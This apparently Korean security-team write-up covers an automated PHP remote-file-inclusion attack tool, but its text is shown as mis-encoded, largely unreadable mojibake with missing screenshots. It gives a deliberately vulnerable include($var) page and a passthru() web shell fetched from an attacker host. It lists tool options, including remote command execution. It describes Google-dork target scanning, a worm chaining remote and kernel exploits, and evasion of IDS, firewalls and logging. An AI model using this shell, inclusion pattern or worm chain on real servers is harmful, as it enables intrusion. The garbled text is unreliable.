Analysis of 0x82030909 (PHP Injection Automation Tool)
by INetCop Security Team
- Content -
1. PHP Injection ÀÚµ¿È µµ±¸ÀÇ °³¿ä.
2. PHP Injection Ãë¾àÁ¡ Proof of Concept
3. PHP Injection ÀÚµ¿È µµ±¸ »ç¿ëÀÇ ¿¹Á¦.
4. Plugin ÀÀ¿ë µµ±¸ »ç¿ëÀÇ ¿¹Á¦.
5. °á·Ð
--
1. PHP Injection ÀÚµ¿È µµ±¸ÀÇ °³¿ä.
PHP Injection¿¡ ´ëÇÑ ¼³¸íÀº ÀÌ¹Ì ´Ù¸¥ ¹®¼·Î Á¸ÀçÇϹǷΠ»ý·«ÇϰڴÙ.
PHP Injection ¸ðÀÇ °ø°Ý ½Ã, ÀϹÝÀûÀ¸·Î °ø°ÝÀ» ½ÃµµÇÒ target ¼¹ö ÇÑ´ë¿Í ¸í·É¾î¸¦ Á¦°øÇÒ °ø°ÝÀÚÀÇ ¼¹ö ÇÑ´ë
(root±ÇÇÑ ÇÊ¿ä), °á·ÐÀûÀ¸·Î ÃÑ µÎ´ëÀÇ ¼¹ö¸¦ ÇÊ¿ä·Î ÇÑ´Ù.
¸í·É¾î¸¦ Á¦°øÇÏ´Â ¼¹ö´Â include µÉ ÆÄÀÏÀÌ ¿ø°Ý¿¡¼ ¸í·É¾î·Î Àü´ÞµÉ ¼ö ÀÖµµ·Ï ÇØ¾ßÇϹǷΠÀ¥¼ºñ½º¸¦ ½ÇÇàÇØ¾ß
Çϸç, ½ÇÇà ÁßÀÎ À¥¼¹ö µð·ºÅ丮¿¡ ÆÄÀÏÀ» ÀÛ¼ºÇØ¾ß ÇÑ´Ù. (´ëºÎºÐ À¥¼¹ö µð·ºÅ丮¿¡ ÆÄÀÏÀ» ÀÛ¼ºÇϱâ À§Çؼ´Â
root±ÇÇÑÀÌ ÇÊ¿äÇÏ´Ù.)
2¹ø Àå¿¡¼ PHP Injection Ãë¾àÁ¡À» ¿¹Á¦·Î ½ÃÇèÇÒ ¶§ ¾Ë°Ô µÇ°ÚÁö¸¸, À¥ºê¶ó¿ìÁ®¸¦ ÅëÇØ target ¼¹ö¸¦
°ø°ÝÇÏ´Â °æ¿ì "GET" method·Î ¿äûÇϱ⠶§¹®¿¡ ºê¶ó¿ìÁ® »ó¿¡¼ ÀÔ·ÂÇÏ¿© ¿äûÇÏ´Â ³»¿ëÀÌ ¼¹ö¿¡ log·Î ÀúÀåµÈ´Ù.
À̰ÍÀº °ø°ÝÀÚ¿¡°Ô ÀÖ¾î¼ Ä¡¸íÀûÀÎ À§ÇèºÎ´ãÀÌ µÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¸é, Á¤±âÀûÀÎ ·Î±× °Ë»ç ½Ã, À¥»ó¿¡¼ °ø°ÝÇß´ø
½Ã½ºÅÛ ¸í·ÉÀÌ µå·¯³¯ ¼ö ÀÖ´Ù. (¶ÇÇÑ, °ø°ÝÀÚ IP¿Í ÇÔ²²)
º¸Åë, ¿ø°Ý ħÀÔ ½Ã »ç¿ëµÇ´Â PHP Injection °ø°Ý ±â¹ýÀº À¥ ºê¶ó¿ìÁ®¸¦ ÅëÇØ ¿äûÇÏ¿© ÁøÇàµÈ´Ù. ¼¹öÀÇ °ü¸®ÀÚ
±ÇÇÑÀ» ȹµæ ÈÄ, °ü·Ã ·Î±×¸¦ »èÁ¦Çϱ⠶§¹®Àε¥, ¸¸¾à ÃÖÁ¾ÀûÀÎ °ü¸®ÀÚ ±ÇÇÑ È¹µæ¿¡ ½ÇÆÐÇÏ¿´À» °æ¿ì, ½É°¢ÇÑ
¹®Á¦Á¡ÀÌ ¹ß»ýÇÒ ¼ö ÀÖ´Ù.
°á·ÐÀûÀ¸·Î ¿ì¸®´Â º¸´Ù ¾ÈÀüÇÑ °ø°ÝÀ» ½ÃµµÇϸé¼, ½Å¼ÓÇÏ°í Æí¸®ÇÏ°Ô ÀÛ¾÷ÇÒ ¼ö ÀÖ´Â ÀÚµ¿È µµ±¸ÀÇ Çʿ伺À»
´À³¢°Ô µÇ¾ú´Ù.
2. PHP Injection Ãë¾àÁ¡ Proof of Concept.
À̹ø Àå¿¡¼´Â ÀϹÝÀûÀÎ PHP injection °ø°Ý ¹æ¹ýÀ» ½ÃÇèÇØ º¼ °ÍÀÌ´Ù.
¸ðÀÇ °ø°ÝÀ» À§ÇØ, °ø°ÝÀ» ´çÇÒ ¼¹ö¿¡ PHP Injection¿¡ Ãë¾àÇÑ ´ÙÀ½ code¸¦ ¾÷·ÎµåÇÒ °ÍÀÌ´Ù.
// test.php
<? include($var); ?>
[°ø°Ý ´çÇÒ ¼¹ö ¿¹Á¦ »çÁø]
$var º¯¼ö¿¡ `test'¶ó´Â °ªÀ» ÀÔ·ÂÇÏÀÚ, include path error°¡ Ãâ·ÂµÇ¾ú´Ù.
°á·ÐÀûÀ¸·Î ¿ì¸®´Â $var º¯¼ö¿¡ °ø°Ý ÄÚµå URLÀ» ÀÔ·ÂÇÏ¿© ¸í·ÉÀ» »ðÀÔÇÒ ¼ö ÀÖ°Ô µÈ´Ù.
±× ÈÄ, °ø°ÝÀÚÀÇ À¥¼¹ö¿¡ ´ÙÀ½ code¸¦ ¾÷·ÎµåÇÒ °ÍÀÌ´Ù.
// attack
<? passthru($command); ?>
[°ø°ÝÀÚÀÇ ¼¹ö ¿¹Á¦ »çÁø]
$command º¯¼ö¸¦ ÅëÇØ ½Ã½ºÅÛ ¸í·É¾î¸¦ ¼öÇàÇÒ ¼ö ÀÖµµ·Ï passthru() ÇÔ¼ö¸¦ »ç¿ëÇÏ¿´´Ù.
ÀÚ, ±×·³ ¸ðÀÇ °ø°ÝÀ» ½ÃµµÇغ¸ÀÚ.
´ÙÀ½°ú °°ÀÌ $var º¯¼ö¿¡ `attacker_host' host¿¡ ÀÖ´Â attack ÆÄÀÏÀ» include ¿äûÇÏ¿© ºÒ·¯¿Â ÈÄ,
$command º¯¼ö¿¡ `id' ¸í·É¾î¸¦ »ðÀÔÇÏ¿© ÇöÀç ±ÇÇÑÀ» È®ÀÎÇÒ ¼ö ÀÖ¾ú´Ù.
[°ø°Ý ÈÄ, ¸í·É¾î °á°ú »çÁø]
°ø°Ý ÈÄ, °ø°ÝÀ» ¹ÞÀº ½Ã½ºÅÛ¿¡ ÀÛ¼ºµÈ log ÆÄÀÏ ÀϺθ¦ Àо °á°ú, ´ÙÀ½°ú °°Àº ³»¿ëÀ» º¼ ¼ö ÀÖ¾ú´Ù.
[°ø°Ý ÈÄ, ¼¹ö¿¡ ±â·ÏµÈ °ø°ÝÀÚÀÇ IP Á¤º¸¿Í ¿äû³»¿ë]
Áö±Ý±îÁö, °³³ä Áõ¸íÇÏ¿¡ PHP Injection Ãë¾àÁ¡ ¸ðÀÇ °ø°ÝÀ» ½ÃµµÇغ¸¾Ò´Ù.
°ø°ÝÀ» ½ÃµµÇغ» °á°ú, ¿©·¯´ëÀÇ ¼¹ö¸¦ ÇÊ¿ä·Î ÇÏ°í ¶Ç, °ø°ÝÀÚÀÇ ¿äû³»¿ëÀÌ ¼¹ö¿¡ ±â·ÏµÈ´Ù´Â »ç½ÇÀ»
¾Ë°Ô µÇ¾ú´Ù.
3. PHP Injection ÀÚµ¿È µµ±¸ »ç¿ëÀÇ ¿¹Á¦.
ÀÚ, ±×·³ À̹ø Àå¿¡¼´Â PHP Injection ÀÚµ¿È µµ±¸¸¦ ÀÌ¿ëÇÏ¿© À§ÀÇ test.php°¡ ¼³Ä¡µÇ¾î ÀÖ´Â ¼¹ö¸¦
°ø°ÝÇØº¸µµ·Ï ÇϰڴÙ. »ç¿ë¹ýÀº ¸Å¿ì °£´ÜÇϸç, µµ±¸¸¦ »ç¿ë ½Ã, ¹Ýµå½Ã ÀÔ·ÂÇØ¾ß ÇÏ´Â Á¤º¸´Â ´ÙÀ½°ú °°´Ù.
1. PHP Injection Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â php URL.
2. Ãë¾àÇÑ php ÆÄÀÏ¿¡¼ »ç¿ëÇÏ´Â º¯¼ö À̸§.
3. °ø°ÝÀÚ hostÀÇ ÁÖ¼Ò.
4. °ø°ÝÀÚ hostÀÇ port.
Âü°í·Î, °ø°ÝÀÚ host´Â À¥¼¹ö¸¦ ÇÊ¿ä·Î ÇÏÁö ¾ÊÀ¸¸ç, exploit ÀÚü³»¿¡¼ À¥¼¹ö¸¦ ¸¸µé¾î »ç¿ëÇϱ⠶§¹®¿¡
root ±ÇÇÑÀ» ÇÊ¿ä·Î ÇÏÁöµµ ¾Ê´Â´Ù.
ÀÌ¹Ì 2¹øÀå¿¡¼ °ø°ÝÇß´ø ´ë·Î ¼³Á¤ÇÑ´Ù¸é.
1. http://target.inetcop.org/test.php
2. var
3. attacker_host.underattack.co.kr
4. 80
¸¸¾à °ø°ÝÀÚ host°¡ 80¹øÀ¸·Î À¥¼ºñ½º¸¦ ½ÇÇà ÁßÀ̶ó¸é, port 8000¹øÀ̳ª, 8080¹ø°ú °°ÀÌ »ç¿ëÇÏÁö ¾Ê´Â
port ¹øÈ£¸¦ ÁöÁ¤ÇØÁÖ¸é µÈ´Ù. (±âº» port: 8000¹ø)
ÀÚ, °ø°ÝÀ» ½ÃµµÇغ¸ÀÚ.
-u ¿É¼ÇÀº Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â PHP ÆÄÀÏÀÇ URLÀ» ÀÔ·ÂÇÒ ¶§ »ç¿ëµÈ´Ù.
(¿¹: -u "http://target.inetcop.org/test.php")
-v ¿É¼ÇÀº Ãë¾àÇÑ º¯¼öÀ̸§À» ÀÔ·ÂÇÒ ¶§ »ç¿ëµÈ´Ù. (¿¹: -v "var")
-s ¿É¼ÇÀº °ø°ÝÀÚ hostÀÇ ÁÖ¼Ò¸¦ ÀÔ·ÂÇÒ ¶§ »ç¿ëµÈ´Ù. (¿¹: -s "attacker_host.underattack.co.kr")
-p ¿É¼ÇÀº °ø°ÝÀÚÀÇ port ¹øÈ£¸¦ ÀÔ·ÂÇÒ ¶§ »ç¿ëµÈ´Ù. (¿¹: -p 8080)
-c ¿É¼ÇÀº ¿ø°Ý¿¡¼ ½ÇÇàÇÒ ¸í·ÉÀ» ÀÔ·ÂÇÒ ¶§ »ç¿ëµÈ´Ù. (¿¹: -c "uname -a; pwd; id")
ÃÖÁ¾ÀûÀ¸·Î ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÏ¿© ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ¾ú´Ù.
[°ø°Ý ÈÄ, ¿ø°Ý¿¡¼ shellÀ» ȹµæÇÑ ¸ð½À]
4. Plugin ÀÀ¿ë µµ±¸ »ç¿ëÀÇ ¿¹Á¦.
ÀÚµ¿È µµ±¸¸¦ À§ÇØ Áö¿øÇÏ´Â Plugin µµ±¸¸¦ ¼Ò°³Çϵµ·Ï ÇϰڴÙ.
ù¹øÂ° ¼Ò°³ÇÒ Plugin µµ±¸´Â google webÀ» ÀÌ¿ëÇÑ ÀÚµ¿ ½ºÄ³³ÊÀÌ´Ù. »ç¿ë¹ýÀº ¸Å¿ì °£´ÜÇϸç, google webÀ»
ÅëÇØ ¼øÂ÷ÀûÀ¸·Î °Ë»çÇÏ¿© ³ª¿Â °á°ú¹°À» ȸ鿡 Ãâ·Â½ÃŲ´Ù.
[ÀÚµ¿ ½ºÄ³³Ê »ç¿ë ¹æ¹ý]
-h ¿É¼ÇÀº À§ÀÇ È¸é°ú °°ÀÌ »ç¿ë¹ýÀ» Ãâ·ÂÇØÁÖ¸ç, -s ¿É¼ÇÀ» ÅëÇØ ¼ºñ½º ÁßÀÎ google ¼¹ö¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ´Ù.
-t ¿É¼ÇÀ» ÀÌ¿ëÇÏ¿© °Ë»öÇÒ ¹®ÀÚ¿À» ÀÔ·ÂÇÒ ¼ö ÀÖ´Ù.
´ÙÀ½ ȸéÀº "test.php"¸¦ °Ë»öÇßÀ» ¶§ ºÒ·¯¿À´Â °á°úÀÌ´Ù.
[½ºÄµÀ» ÅëÇØ °Ë»ö °á°ú¸¦ Ãâ·ÂÇÏ´Â ¸ð½À]
µÎ¹øÂ° ¼Ò°³ÇÒ Plugin µµ±¸´Â °Ô½ÃÆÇÀ̳ª À¥ ¾îÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥ Ãë¾àÁ¡ Á¤º¸¸¦ ¸ðµâÈÇÏ¿© ÆíÇÏ°í ½±°Ô
¸ðÀÇ ÇØÅ·À» ½ÃµµÇÒ ¼ö ÀÖµµ·Ï °³¹ßµÈ µµ±¸ÀÌ´Ù. ÀÌ µµ±¸¸¦ ÀÌ¿ëÇϸé, Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÇ Á¤º¸¸¦ ÄÄÆÄÀÏÇÏ¿©,
¹ÙÀ̳ʸ®·Î ÀÛ¼ºÇϴµ¥, ÀÌ·¸°Ô ÀÛ¼ºµÈ ¹ÙÀ̳ʸ®ÀÇ Á¤º¸¸¦ ÅëÇØ Ãë¾àÁ¡À» exploit ÇÒ ¼ö ÀÖ´Ù.
´ÙÀ½ ȸéÀº `0day'¶ó´Â Ãë¾à ÇÁ·Î±×·¥ Á¤º¸ ¼³Á¤ ÆÄÀÏÀÌ´Ù.
[¹ÙÀ̳ʸ®·Î ÄÄÆÄÀÏ µÇ±â Àü, Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÇ Á¤º¸¸¦ ´ãÀº ¼³Á¤ ÆÄÀÏ]
´ÙÀ½ ȸéÀº ÀÚµ¿È °ø°Ý ¸ðµâ µµ±¸ÀÇ »ç¿ë ¹æ¹ýÀÌ´Ù.
[µµ±¸ÀÇ »ç¿ë ¹æ¹ý]
À§¿¡ ÄÄÆÄÀÏÇϱâ ÀüÀÇ ¼³Á¤ ÆÄÀÏÀ» ÄÄÆÄÀÏÇϱâ À§Çؼ´Â -w ¿É¼ÇÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.
[ÄÄÆÄÀÏÇÏ´Â ¸ð½À]
`0day.bin' ÆÄÀÏÀº ¿ø·¡ Á¸ÀçÇÏÁö ¾Ê¾ÒÁö¸¸, `0day'¶ó´Â ¼³Á¤ ÆÄÀÏÀ» ÄÄÆÄÀÏÇÏ¿© ¹ÙÀ̳ʸ® ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö
ÀÖ¾ú´Ù. ÀÚ, ÄÄÆÄÀÏ ÇÑ ÈÄ, ÀÚµ¿È °ø°Ý ¸ðµâ µµ±¸¸¦ ´Ù½Ã ½ÇÇàÇØº¸¾Ò´Ù.
[¼³Á¤ ÆÄÀÏ ÄÄÆÄÀÏ ÈÄ, »ç¿ë ¹æ¹ý]
ÄÄÆÄÀÏ ÈÄ, µµ±¸ÀÇ »ç¿ë ¹æ¹ýÀÌ Ãß°¡µÇ¾ú´Ù. ȸéÀÇ ¾Æ·¡ ÂÊ¿¡ ¼³Á¤ ÆÄÀÏ¿¡ ÀÖ¾ú´ø °¢Á¾ À¥ ¾îÇø®ÄÉÀ̼Ç
ÇÁ·Î±×·¥µéÀÌ °ø°Ý targetÀ¸·Î »ý¼ºµÇ¾ú´Ù. ÀÚ, ¿©·¯ target Áß Çϳª¸¸À» ¼±ÅÃÇÏ¿©, °ø°ÝÀ» ½ÃÇèÇØº¸µµ·Ï ÇϰڴÙ.
[¸ðµâÀ» ÅëÇØ ÀÚµ¿È °ø°ÝÀ» ½ÃµµÇÏ´Â ¸ð½À]
ÄÄÆÄÀÏµÈ ¹ÙÀ̳ʸ® ¸ðµâÀ» ÅëÇØ ¸Å¿ì ½±°Ô °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ¾ú´Ù.
5. °á·Ð
Áö±Ý±îÁö ÀÚµ¿È µÈ PHP Injection °ø°ÝÀ» ÅëÇØ, ¸Å¿ì ½±°Ô ¸ðÀÇ ÇØÅ·À» ½ÃµµÇÒ ¼ö ÀÖ¾ú´Ù.
ÀÌ¿Í °°Àº °ø°ÝÀº ´ëºÎºÐ IDS¿¡¼ °¨ÁöÇÏÁö ¸øÇϸç, À¥À» ÅëÇÑ °ø°ÝÀ̱⠶§¹®¿¡ ¹æÈº®À» ¿ìȸÇÒ ¼ö ÀÖ°í,
¼¹ö ·Î±ëÀ» ÃÖ¼ÒÈ ÇÒ ¼ö ÀÖ´Ù.
ÃÖ±Ù °ø°³µÈ kernel exploitÀ» Plugin module·Î °³¹ßÇÑ °á°ú, ÀÚµ¿À¸·Î °ü¸®ÀÚ ±ÇÇÑÀ» ȹµæÇÏ´Â test worm
»ý¼ºµµ °¡´ÉÇÏ¿´´Ù. (auto google scan -> auto remote attack -> auto local exploit)
ÀÌ·¯ÇÑ ÀÚµ¿È moduleÀÇ °Á¡Àº ºü¸¥ ½Ã°£³»¿¡ patch ¼öÇàÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀÌ´Ù.
¿¹¸¦ µé¸é, kernel exploitÀÌ ¾Æ´Ñ, Ãë¾àÁ¡ patch moduleÀ» PluginÀ¸·Î °³¹ßÇÒ °æ¿ì, ¼ö¸¹Àº ¼¹öÀÇ Ãë¾àÁ¡À»
ºü¸¥ ½Ã°£³»¿¡ Á¦°ÅÇÒ ¼ö ÀÖ´Ù. (À̰ÍÀº º»·¡, `INetCop Security'ÀÇ °³¹ß ¸ñÀûÀÌ´Ù.)
¸¸ÀÏ `script kiddie'°¡ ¿ì¸®ÀÇ µµ±¸¸¦ ¾Ç¿ëÇÏ°Ô µÈ´Ù¸é, ÀÌ´Â °¡È÷ Ä¡¸íÀûÀÎ °á°ú¸¦ ºÒ·¯ ÀÏÀ¸Å³ °ÍÀÌ´Ù.
¿ì¸® `INetCop Security'¿¡¼´Â ½ÃÇè µµ±¸¿Í ÇÔ²² º¸¾È °áÇÔÀ» ÇØ°áÇÒ ¼ö ÀÖ´Â ´Ù¾çÇÑ ¼Ö·ç¼ÇÀ» ¿¬±¸Çϰí
ÀÖ´Ù. ÀÌ·¯ÇÑ ÀÛ¾÷À» ÅëÇØ, ±¹³»¿Ü À¥ ÇØÅ· °ø°ÝÀÇ À¯ÇüÀ» ºü¸£°Ô ºÐ¼®ÇÏ¿© ÇØ°áÇϰí ÀÖÀ¸¸ç, ÇØÅ· °ø°Ý ÇÇÇØ¸¦
¸·±â À§ÇØ, ÃÖ¼±À» ´ÙÇØ ³ë·Â ÁßÀÌ´Ù.
--
°¨»çÇÕ´Ï´Ù.